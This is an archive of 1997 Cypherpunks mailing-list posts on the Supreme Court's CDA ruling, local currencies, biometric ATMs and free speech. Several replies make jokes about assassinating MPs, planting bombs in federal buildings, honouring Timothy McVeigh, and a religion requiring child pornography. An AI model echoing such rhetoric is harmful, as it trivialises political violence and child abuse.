Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v03102803afd74b50dcd5@[10.0.2.15]>
Message-ID: <v0310280bafd83fcea0f8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:13 PM -0400 6/25/97, Mark M. wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Steve wrote:
>
>> What's not clear to me, and I wish someone would explain, is how the SC
>> managed to find pornography not similarly protected speech.  Arms and
>> munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
>> others.
>
>It appears that Roth v. United States was the first case before that the
>U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
>The reasoning was that while offensive, unorthodox, or hateful ideas
>are protected by the 1st, they, unlike pornography, have at least *some*
>redeeming social value.  The court noted that laws enacted after the
>ratification of the U.S. Constitution banned several different kinds of
>speech, including profanity, blasphemy, and libel.  It's a very common
>tactic for the courts to refer to post-ratification laws to support
>limits on Constitutional rights.

I can't see that anyone, including the courts, should use redeeming social
value as a yardstick.  This term has all the hateful aspects of one group's
mores being used to limit the freedom of their neighbor in the privacy of
their home and thoughts.  After all, one man's ceiling is another man's
floor.

What if we create religion who's practice requires use and possesion of
child porn?  Wonder how the SC would rule, given its rulings allowing use
of peyote by certain native American tribes and against the Mormons on the
issue of bigemy.

I think resistance to such limitations should go beyond legal avenues.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 00:56:04 +0800
To: cypherpunks@toad.com
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News
Message-ID: <Pine.GSO.3.95.970626094105.3126C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 09:40:28 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: CDA STRUCK DOWN BY SUPREME COURT, from the Netly News

[Check out netlynews.com for updates throughout the day. --Declan]

---

http://cgi.pathfinder.com/netly/opinion/0,1042,1110,00.html

The Netly News
CDA STRUCK DOWN!

June 26, 1997, 11:30 am
by Declan McCullagh (declan@well.com)
   
       The U.S. Supreme Court, in a landmark decision that firmly
   establishes unbridled free speech in cyberspace, struck
   down the Communications Decency Act. In a 40-page majority opinion
   opinion handed down this morning, the Justices determined that the act
   is unconstitutional. The court also resoundingly rejected the argument
   that broadcast standards should apply to the Internet.
   
       The Justices unanimously ruled that the so-called "display
   provision" -- which would effectively render the Net "child safe" --
   was patently unconstitutional. "The interest in encouraging freedom of
   expression in a democratic society outweighs any theoretical but
   unproven benefit of censorship," wrote Justice John Paul Stevens. In a
   7-to-2 decision, the court also struck down the other half of the CDA,
   which banned "indecent transmission" to a minor. The minority
   argued that such a limitation would not interfere "with the First
   Amendment rights of adults." Justices Sandra Day O'Connor and William
   Rehnquist were the lone dissenters on that point in a 13-page minority
   opinion.

        "This is the landmark decision that many of us anticipated," said
   David Sobel, staff counsel at the Electronic Privacy Information
   Center and co-counsel on the case. Phil Gutis of the American Civil
   Liberties Union -- the lead plaintiff in Reno v. ACLU -- said the
   decision left no wriggle room for CDA supporters: "It's going to be
   very hard for Congress to go back and say the court left us this
   opening. They didn't."
   
        Yet CDA supporters promised to keep up the fight. Against the
   backdrop of a dozen anti-porn activists, Cathy Cleaver, the director
   of legal policy for the Family Research Council, proclaimed that,
   "today we're going to see the floodgates of pornography open on the
   internet. This is not a good time to be a child. We're not going to
   give up the fight to protect children online."
   
       In spite of such perceived dangers, the court apparently realized
   the unique nature of the Internet and appreciated the fact that it is
   a new and developing medium. "Neither before nor after the enactment
   of the CDA have the vast democratic fora of the Internet been subject
   to the type of government supervision and regulation that has attended
   the broadcast industry. Moreover, the Internet is not as 'invasive' as
   radio or television," the majority wrote. The CDA "threatens to torch
   a large segment of the Internet community."
   
        The chief congressional opponent of the CDA applauded the court's
   recognition that the Internet is wholly unlike broadcast media.
   "Giving full force to the first amendment online is a victory for the
   first amendment, for american technology, and for democracy," said
   Sen. Patrick Leahy (D-VT) in a statement. "The CDA was misguided and
   unworkable. It reflected a fundamental misunderstanding of the
   technology of the Internet."
  
###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "patrick van eecke" <Patrick.VanEecke@law.kuleuven.ac.be>
Date: Thu, 26 Jun 1997 16:26:58 +0800
To: <cypherpunks@toad.com>
Subject: Digital Signatures
Message-ID: <vines.okl8+W4WgnA@vinip.cc.kuleuven.ac.be>
MIME-Version: 1.0
Content-Type: text/plain



The Interdisciplinary Centre for Law and Information Technology from the 
University of Leuven is currently carrying out a study on the legal aspects 
of Digital Signatures. The current and draft legislation, policies and 
practices of the European Member States as well as the EC's most important 
trading partners is being investigated and analysed. Final aim of the study 
is to provide tools for a common European legal instrument regarding Digital 
Signatures.

More information about the project and important links you can find on the 
website:
http://www.law.kuleuven.ac.be/icri/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 22:24:36 +0800
To: cypherpunks@Algebra.COM
Subject: CDA Overturned
Message-ID: <3.0.2.32.19970626101745.035dc70c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



06/26/1997 10:07 EST 

 Court Nixes Internet Smut Provision 


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:04:11 +0800
To: tcmay@got.net
Subject: there is no middle ground (Re: The Grand Compromise is Coming)
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <199706260918.KAA00420@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> But I don't get the point of what would be gained by my testimony. It
> wouldn't  help the Cause.

Reasoning was following on from Eric Murrays:

: how much further than completely free crypto can you go?

Most of the lobbyists as far as I can make out are talking in terms of
privacy from government, right to free speech.

Not in terms of eroding government power, avoiding taxes, making 
governments obsolete, nor in terms of hostility towards the legitimacy 
of government, it's methods etc.

So you might argue that this would make the privacy lobyists seem more
middle of the road.  However crypto is binary, either it's free, or
it's GAKked, so they (the privacy lobbyists) can't disavow crypto
anarchy, because it's a consequence of the technology and legal frame
work they want for privacy.  There's nothing in between.

My conclusion was that the crypto anarchy conclusions are pretty much 
in line with some of the NSAs scare stories and their spin is being 
used as an argument for GAK.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:04:52 +0800
To: vznuri@netcom.com
Subject: Re: LOSE MONEY FAST!!
In-Reply-To: <199706250451.VAA24476@netcom4.netcom.com>
Message-ID: <199706260922.KAA00427@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Vladimir Nuri <vznuri@netcom.com> quotes some whistle blower:

> FRN directors are involved in a complex STOCK MANIPULATION SCHEME in
> which they are selling additional shares of the company beyond those
> in circulation, with only the hazy knowledge of the existing
> stockholders. This is being done IN COLLUSION WITH GOVERNMENT
> REGULATORS, who are receiving kickbacks from the operation! In other
> words, individual investors of FRN believe they own 1/n of the
> company, when in fact there are more shares in existence and they
> actually own far less than the fraction indicated on their
> certificates!

That scenario sounds familiar.  FRN wouldn't be FRB (Federal Reserve Board),
aka US government manipulation of the money supply to use inflation as an
invisible tax would it?  (Or any government, they all do it).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 26 Jun 1997 22:29:04 +0800
To: cypherpunks@Algebra.COM
Subject: CDA Overturned - AP Write through 9-0
Message-ID: <3.0.2.32.19970626102455.035e30f0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



9-0 I called it.


06/26/1997 10:16 EST

Court Nixes Internet Smut Provision


WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit material goes too far because it also would keep such material from adults who have a right to see it, the justices unanimously said.

The law made it a crime to put adult-oriented material online where children can find it. The measure has never taken effect because it was blocked last year by a three-judge court in Philadelphia.

``We agree with the three-judge district court that the statute abridges the freedom of speech protected by the First Amendment,'' Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content-based regulation of speech,'' he wrote. ``The vagueness of such a regulation raises special First Amendment concerns because of its obvious chilling effect on free speech.''

``As a matter of constitutional tradition ... we presume that governmental regulation of the content of speech is more likely to interfere with the free exchange of ideas than to encourage it,'' Stevens wrote.

Sexually explicit words and pictures are protected by the Constitution's First Amendment if they are deemed indecent but not obscene.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 27 Jun 1997 00:37:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: new money systems
Message-ID: <199706261629.LAA01240@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jun26.113748edt.32257@brickwall.ceddec.com>, on 06/26/97 
   at 11:37 AM, tzeruch@ceddec.com said:

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work
>-
>it is trivial to convert currency, but it is not without cost.

I don't want to get to deep into this curency issue but from my experiance
not all exchanges are done at a cost.

This is directly related to the stability of the curency being exchanged.
If I am exchanging US $ with a low inflation rate (say 4%) for IT lira
with a high inflation rate (say 250%) it is to the advantage of the person
holding the lira to give me a good rate of exchange for my stable dollars.
Also if I may not actually need to make the exchange at all as many Italin
merchants would prefer to be paid in US $ rather than IT lira and will
discount his services on the simple fact that I am paying him in stable
curency. From my travels I have found whole cities where there is an
underground economy all in US $ because the local curency is worthless.
These areas tend to have a thriving barder system also for the same
reasons (a loaf of bread is still worth a loaf of bread regardless what
the pinheads in the government do to screw up the economy).

Where I see the cost of exchange is when dealing with curencies that are
of relativly the same stablilty US $ (4%) Japan Yen (6%). Then there is
not the overwhelming advantage to the person holding the Yens to exchange
for the US $.

There are exceptions to this also. Say you have Widgets Inc (USA) & Cogs
LTD. (Japan) who do a large amount of business in each others countries
and between each other. It may be to their advantage to accept purchaces
in each others currencies as to avoid the cost & hassels of going through
exchanges.

Just some food for thought. :)

PS: the inflation rates were just given as examples I have no ideal what
the current inflation rates are in the above mentioned countries.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7KYyY9Co1n+aLhhAQFLsAQAlZKt47lhcbDbnAjNzN6awy8t25JkYGmz
n8TtzJqHX/4soTeiK1OGiz32lBiHz4N2X5odp0/Dm0AW8NTXJqkjRs8T19aZyowi
Mz08YyQqR9MSGXySGbXMc+0Jq1J03doZGQzny6VxuUIvopGvsfuXsODLjRCdzpFW
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Thu, 26 Jun 1997 23:51:41 +0800
To: cypherpunks@toad.com
Subject: CDA Struck Down
Message-ID: <v03102809afd83bbf5791@[204.91.138.250]>
MIME-Version: 1.0
Content-Type: text/plain




                      P R E S S   R E L E A S E


FOR IMMEDIATE RELEASE:               CONTACT:
Thursday, June 26, 1997              David L. Sobel (sobel@epic.org)
10:45 a.m., ET                       202-544-9240


         EPIC HAILS SUPREME COURT INTERNET "INDECENCY" DECISION:

        OPINION "PRESERVES BOTH FREE SPEECH AND PERSONAL PRIVACY"

WASHINGTON, DC -- The Electronic Privacy Information Center (EPIC) today
hailed the Supreme Court's Internet speech decision as "the first landmark
decision of the 21st Century."  In its first opinion involving cyberspace,
the Court, by a 7-2 vote, struck down the online censorship provisions of
the Communications Decency Act (CDA) (Chief Justice Rehnquist and Justice
O'Connor concurred in part and dissented in part).  EPIC participated in
the litigation as both plaintiff and co-counsel.

"Today's opinion defines the First Amendment for the next century,"
according to EPIC Legal Counsel David Sobel, who served as co-counsel in
Reno v. ACLU.  "The Court has written on a clean slate and established the
fundamental principles that will govern free speech issues for the
electronic age."

Sobel said that today's landmark decision "preserves both free speech and
personal privacy in this rapidly growing medium."  Throughout the
litigation of the case, EPIC has stressed that the CDA not only infringed
on Americans' free speech rights, but also posed a grave threat to personal
privacy.  By requiring "speakers" on the Internet to verify the age and
identity of all potential recipients of "indecent" material, the law would
have destroyed the anonymity that is a hallmark of online communications.
EPIC noted that a good deal of sensitive information -- dealing with AIDS
prevention, teenage pregnancy, and other critical social issues -- would
not be sought out if recipients were required to identify themselves.

EPIC joined with the American Civil Liberties Union and 18 other plaintiffs
in challenging the law on February 8, 1996, the day it was signed by
President Clinton.  A three-judge federal court panel in Philadelphia
unanimously ruled on June 11, 1996, that the Internet "indecency"
provisions violated the First Amendment's free speech protections.  That
decision was today affirmed by the  United States Supreme Court.

A copy of the Court's decision is available at:

      http://www2.epic.org/cda/cda_decision.html

EPIC is a non-profit research organization established in 1994 to examine
civil liberties and privacy issues arising in new electronic media.


                                 - 30 -








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 23:46:51 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706250027.RAA19105@netcom15.netcom.com>
Message-ID: <97Jun26.113748edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tue, 24 Jun 1997, Vladimir Z. Nuri wrote: 

> an interesting book, I think this is one of his I browsed. MF is correct
> in some ways but I believe he is off the mark in others. gold has a  key 
> advantage over money printed by a government in that it can't be
> counterfeited even by that government.  

Gold (content) can be counterfeited, which is why it needs to be assayed
and there are assay marks on gold bars. 

> what I am trying to imply in the post is that there is actually a hidden
> resistance on our money that is not reflected in the fees that various
> entities charge.  this is inflation, and it it can be totally controlled,
> despite whatever lies the Fed tells the public.

If there is inflation, or even the hint, people will shift from dollars
(or pounds, or yen) to something that is not inflating.  It would be
easier to control if they didn't tax you on the inflation (which they call
capital gains).

> >The problem is one of exchange.  A local currency (banks used to issue
> >their own notes) is only good in that locality.  How do I buy a California
> >pistachio with Michigan Money?  Or with British Pounds for that matter. 
> >In all cases you get an exchange rate.  There will be a varying ratio
> >between any two given fiat currencies, and even two currencies based on
> >(i.e. redeemable in) different commodities.
> 
> so what? I understand this obvious and trivial point.

Try spending british pounds at a US fast food restaraunt (at least one
that is not adjacent to a UK diplomatic building).  Then you will have to
go to someone to do the exchange and they will charge a fee.  And then if
you go to the UK and have to change back, there will be another fee.

Although there is an "exchange rate", it is discounted so that the
organization doing the exchange makes money each way.  Canadian
restaraunts just over the border will take american money, but give me 10%
less than the bank exchange rate.

Thus it is not trivial in practice.  If your money was only good for a 50
mile radius, and you lost 3% in each exchange, going on vacation would get
very expensive and you would then call for a universal currency, or
convert into something like it (accepted by every locality very near par)
before going on vacation.  But if you convert it into a universal
currency, why not just leave it as that?

Considering the internet is international, exchange is a big problem and
will get worse as more transactions require foreign exchange. 

> a local economy can have a currency, and ask the question, "why is On
> value being extracted from our local economy when it is a self-sustaining
> unit"? the idea behind a local currency actually encourages local
> autonomy/sovereignty/independence.

I agree with the concept.  If Michigan doesn't want to inflate its
currency and New Jersey does, they can then do so without interfereing
with each other (or BC and Quebec, for that matter).

But as Ricardo has shown, trade advantages all parties, so autonomy is
actually less efficient.  Nebraska is better suited to wheat, Maine to
cranberries, Michigan to Cherries, and Florida and California to Oranges.
To be "autonomous and independent" in Minnesota makes for very expensive
oranges.

So although I consider autonomy a virtue, I consider trade a greater
virtue, so local currencies are good only to the extent they promote both,
and with the problems of currency exchange, I don't see how trade is
enhanced by local currencies, but am interested on your thoughts on this
point since you are more familiar with the narrow topic.

> >Having 1000 other currencies would mean that each currency would have a
> >fluctuating value relative to each other (great if you are an
> >arbitrageur), 
> 
> no, this is not a problem, but a solution. as our world markets show,
> it is trivial to convert between currencies and each one acts as a
> check and a balance on the other. if a currency declines in value to
> another in the market, I will bet you the country whose currency
> declined is "counterfeiting its own money" via interest rates paid
> on bonds.

Yes, but each currency would then have to be exchanged (at a discount!) 
and that almost every time any transaction occured.  Unless you are
willing to exchange any amount of currency without making any profit on
it, not even to cover expenses or fluctuations in value, this won't work -
it is trivial to convert currency, but it is not without cost.

You can have state and local tyrants who want to manipulate the money
supply.  Power corrupts at whatever level (look for a big municipal bond
crash that dwarfs the S&L crisis - this is one thing the locals can
manipulate to some extent). 

In sum, I have a set of questions:  1. Why would local currencies be any
less subject to manipulation than national currencies which suffer from
inflation and devalutation when the consequences are the same and the
national level can't resist?  2. If they aren't going to set the value
themselves, they will have to fix the value "permanently", since if they
can change the peg, they can manipulate it, but if they fix the value to
X, why won't real X be prefered to the note denominated in X.  3. As
long as they have to pick X, if several localities pick gold as X, then
their currencies then become the same, although having different numbers
(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
currencies which are merely different numbers representing the same amount
of a commodity (except to manipulate later)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 27 Jun 1997 05:17:31 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v0310280bafd83fcea0f8@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970626122600.1130A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 26 Jun 1997, Steve Schear wrote:

> >It appears that Roth v. United States was the first case before that the
> >U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
> >ratification of the U.S. Constitution banned several different kinds of
> >speech, including profanity, blasphemy, and libel.  It's a very common
> >tactic for the courts to refer to post-ratification laws to support
> >limits on Constitutional rights.
> 
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I believe that freedom of speech is an absolute right, but I can see
valid arguments, both for and against, the belief that the text of the
1st applies to obscenity.

> 
> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

On a related note, the supreme Court ruled today, in a 6-3 decision,
that the Religious Freedom Restoration Act was un-Constitutional.  This
federal law required that States prove that they have a "compelling
interest" to enforce laws that infringe on religious freedom.  This
ruling means that the States can continue to enforce peyote laws
against native Americans and, of course, enforce child porn laws against
anyone and everyone.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 05:20:29 +0800
To: cypherpunks@toad.com
Subject: Family Research Council on CDA decision (fwd)
Message-ID: <Pine.GSO.3.95.970626140047.26326V-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 13:59:53 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Family Research Council on CDA decision


FOR IMMEDIATE RELEASE:  June 26, 1997
CONTACT:  Kristin Hansen, (202) 393-2100
 


COURT REAFFIRMS GOVERNMENT^RS INTEREST IN PROTECTING CHILDREN FROM 
PORN, BUT STRIKES CDA AS TOO BROAD


WASHINGTON, D.C. -- "Today^Rs ruling means that pornographers can 
open their doors to children on the Internet.  But pornographers 
beware:  this will not be the last word on protecting children 
from your corrupting influence," Family Research Council Legal 
Policy Director Cathy Cleaver said Thursday.  "While Reno v. ACLU 
said that the specific provisions of the CDA are too broad, the 
Court also said that more narrowly tailored provisions could be 
upheld."

Cleaver made her comments as the Supreme Court issued its ruling 
striking down the Communications Decency Act (CDA).  Cleaver 
continued, "Parents still have no legal recourse to protect their 
children from being sent a Penthouse centerfold.  This is not 
good news for the thousands of families who discover every day 
that their children have accessed offensive and disgusting 
material on the internet. 

"At the same time, the Court has opened the door to new 
legislation protection children.  Americans should urge Congress 
to take another look at the issue and draft a more narrowly 
defined statute.

"But now, the flood gates remain open to purveyors of smut.  With 
no legal liability for those who pursue children with graphic 
images and language on the internet, we need to act fast and 
firmly to ensure that our country does not give pornographers 
special rights."

FOR MORE INFORMATION OR INTERVIEWS, 
CONTACT THE FRC PRESS OFFICE.

- END - 












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 05:51:05 +0800
To: cypherpunks@toad.com
Subject: White House statement on CDA decision (fwd)
Message-ID: <Pine.GSO.3.95.970626142138.26326a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 14:21:06 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: White House statement on CDA decision



                            THE WHITE HOUSE

                           Office of the Press Secretary

                                 June 26, 1996

                     STATEMENT BY THE PRESIDENT

Today, the Supreme Court ruled that portions of the Communications Decency
Act addressing indecency are not constitutional. We will study its opinion
closely. 

The administration remains firmly committed to the provisions -- both in
the CDA and elsewhere in the criminal code -- that prohibit the
transmission of obscenity over the Internet and via other media.
Similarly, we remain committed to vigorous enforcement of federal
prohibitions against transmission of child pornography over the Internet,
and another prohibition that makes criminal the use of the Internet by
pedophiles to entice children to engage in sexual activity. 

The Internet is an incredibly powerful medium for freedom of speech and
freedom of expression that should be protected. It is the biggest change
in human communications since the printing press, and is being used to
educate our children, promote electronic commerce, provide valuable health
care information, and allow citizens to keep in touch with their
government. But there is material on the Internet that is clearly
inappropriate for children. As a parent, I understand the concerns that
parents have about their children accessing inappropriate material. 

If we are to make the Internet a powerful resource for learning, we must
give parents and teachers the tools they need to make the Internet safe
for children. 

Therefore, in the coming days, I will convene industry leaders and groups
representing teachers, parents and librarians. We can and must develop a
solution for the Internet that is as powerful for the computer as the
v-chip will be for the television, and that protects children in ways that
are consistent with America's free speech values. With the right
technology and rating systems - we can help ensure that our children don't
end up in the red light districts of cyberspace. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 27 Jun 1997 05:25:45 +0800
To: cypherpunks@Algebra.COM
Subject: NEWS.COM - Rumor Mill
Message-ID: <33B2DE7F.1106@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



No Freeh lunch?


http://www.news.com/Rumors/0,29,,00.html

At the end of the article...

While hackers were getting busy, the crypto honchos were
getting dissed in D.C. Apparently, a group of bigwigs,
including Louis Freeh of the FBI, William Crowell of NSA,
Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
way out to the nation's capital for a Senate Judiciary
Committee hearing on cryptography, only to be informed 20
minutes before the meeting that it had been canceled.
Grumbling ensued as the various participants stormed back
to Dulles airport. The meeting may pick up after the July 4
recess.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 10:44:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706260047.UAA15143@dhp.com>
Message-ID: <Pine.LNX.3.91.970626142415.381C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Someone please put up a website teaching people how to use
> bananas to commit a crime. I want some company in prison when
> I kill 168 people with a banana.

Do you recall the old movie where a couple of mob guys killed a rival 
with a fish (shoved it down his throat and choked him on it)? I think I 
may, if I have some time in the next few days, put together a quick 
website telling people the best fish to use etc. and inciting them to use 
this as a method of assasinating MPs...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 08:06:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: <199706251336.GAA26072@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626142951.381D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
>    top maker of automated teller machines, plans to start offering
>    machines that identify the user by scanning the eye.

This is not a good idea for ATMs, I have said this many times before: 

At present unauthorised use of someones account involves stealing their 
ATM card and PIN, which is insured against if reported soon anyway. If 
biometric ID becomes commonplace theivery of this kind involves either:

1. Gouging out someones eyeball (would this actually work or would the 
damage done to the eye render it useless?)

Or, more likely:

2. Kidnapping the account holder and forcing them to ID themselves at 
gunpoint/knifepoint.


I would sure as hell rather have the inconvenience of going home and 
calling the CC company to report a stolen card, than be kidnapped and 
possible harmed for a few $.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 08:09:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Right 2 Bare Arms
In-Reply-To: <199706251900.MAA13429@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626143333.381E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   My first thought was to wonder if my 18 1/2" would automatically
> make me a three-time loser and subject to lifetime imprisonment.
>   My second thought was whether there would be corresponding laws
> requiring the weapon to be "sheathed" in one locale and "in plain
> sight" in another locale.

Another example of how the law contradicts itself in many places, all 
those who carry a weapon over 6" are felons, yet you could be arrested 
for indecent exposure if you didn`t "carry concealed".

And couldn`t taking a leak in a public place be classed as unauthorised 
discharge?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 12:01:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706252316.QAA23656@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626143803.381F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   Simple. Design all future government buildings to match the remains
> of the Federal Building in OKC and replace the pictures of our beloved
> President with pictures of Timothy McVeigh.

Maybe we should pass a law that mandates placement of a large bomb in the 
basement all federal buildings that is triggered when the attached 
statist-meter hits 5%.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealAudio & RealVideo News <announce@dmail1.prognet.com>
Date: Fri, 27 Jun 1997 06:03:32 +0800
To: cypherpunks@toad.com
Subject: Final Version of RealPlayer 4.0 with RealVideo Available for FREE Download
